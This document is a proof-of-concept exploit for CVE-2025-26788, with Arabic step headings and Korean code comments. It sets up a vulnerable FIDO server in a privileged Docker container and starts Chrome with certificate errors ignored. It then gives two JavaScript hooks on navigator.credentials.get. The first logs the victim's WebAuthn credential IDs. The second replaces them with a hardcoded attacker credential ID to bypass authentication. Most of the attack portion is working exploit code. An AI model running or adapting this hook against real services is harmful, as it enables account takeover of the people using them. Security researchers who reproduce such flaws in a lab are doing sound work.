
استغلال إثبات المفهوم لـ CVE-2025-26788 يوضح التلاعب بمعرّف بيانات اعتماد WebAuthn عبر خطاف جافا سكريبت لتجاوز المصادقة في البيئات الضعيفة.
الخطوة 1 - التحقق من تشغيل Docker Desktop
docker version
الخطوة 2 - بناء الصورة
cd C:\Users\jhcho\Desktop\passkey\CVE-2025-26788 docker build -t skfs .
الخطوة 3 - تشغيل الحاوية
docker run -d --name skfs --hostname skfs.localdomain
--privileged --cgroupns=host
-v /sys/fs/cgroup:/sys/fs/cgroup:rw --tmpfs /run
--tmpfs /run/lock -v /tmp:/tmp
-p 389:389 -p 3306:3306
-p 4848:4848 -p 8181:8181
skfs
الخطوة 4 - نسخ ملف sh وتنفيذه
docker cp C:\Users\jhcho\Desktop\passkey\CVE-2025-26788\setup-skfs.sh skfs:/root/ docker exec -it skfs bash -c "sed -i 's/\r//' /root/setup-skfs.sh && chmod +x /root/setup-skfs.sh" docker exec -it skfs bash /root/setup-skfs.sh
الخطوة 5 - تسجيل ملف hosts لنظام Windows
C:\Windows\System32\drivers\etc\hosts 127.0.0.1 skfs.localdomain
الخطوة 6 - تشغيل Chrome
Start-Process "C:\Program Files\Google\Chrome\Application\chrome.exe" -ArgumentList "--ignore-certificate-errors --unsafely-treat-insecure-origin-as-secure=https://skfs.localdomain:8181
الخطوة 1 - كود التحقق من معرف المهاجم
// 원래 함수 백업
const originalGet = navigator.credentials.get.bind(navigator.credentials);
// 후킹
navigator.credentials.get = async function(options) {
console.log("📌 navigator.credentials.get 호출됨!");
console.log("전달된 옵션:", options);
if (options && options.publicKey) {
console.log("🔑 publicKey 옵션:", options.publicKey);
if (options.publicKey.allowCredentials) {
options.publicKey.allowCredentials.forEach((cred, index) => {
console.log(`🎯 Credential[${index}] ID (raw):`, cred.id);
// Base64 변환
const base64Id = btoa(
String.fromCharCode(...new Uint8Array(cred.id))
);
console.log(`🎯 Credential[${index}] ID (Base64):`, base64Id);
});
}
}
return originalGet(options);
};
الخطوة 2 - كود تزوير معرف المهاجم
// 공격자 ID로 변경
credential ID (Base64)
const attackerBase64 = "uVElUB1cg6CgNQALpiKSJKyOeuk=";
// Base64 → ArrayBuffer 변환 함수
function base64ToArrayBuffer(base64) {
const binary = atob(base64);
const bytes = new Uint8Array(binary.length);
for (let i = 0; i < binary.length; i++) {
bytes[i] = binary.charCodeAt(i);
}
return bytes.buffer;
}
const attackerBuffer = base64ToArrayBuffer(attackerBase64);
// 원래 get 함수 백업
const originalGet = navigator.credentials.get.bind(navigator.credentials);
// 후킹
navigator.credentials.get = async function(options) {
console.log("📌 victim 로그인 요청 감지");
if (options?.publicKey?.allowCredentials) {
options.publicKey.allowCredentials.forEach((cred, i) => {
// victim credential ID 출력
const victimBase64 = btoa(
String.fromCharCode(...new Uint8Array(cred.id))
);
console.log(`🎯 Victim Credential[${i}] ID (Base64):`, victimBase64);
// 🔥 공격자 ID로 변조
cred.id = attackerBuffer;
console.log(`🚨 Credential[${i}] ID가 공격자 ID로 변조됨 →`, attackerBase64);
});
}
return originalGet(options);
};
console.log("✅ Hook 완료. 이제 victim으로 로그인 누르세요.");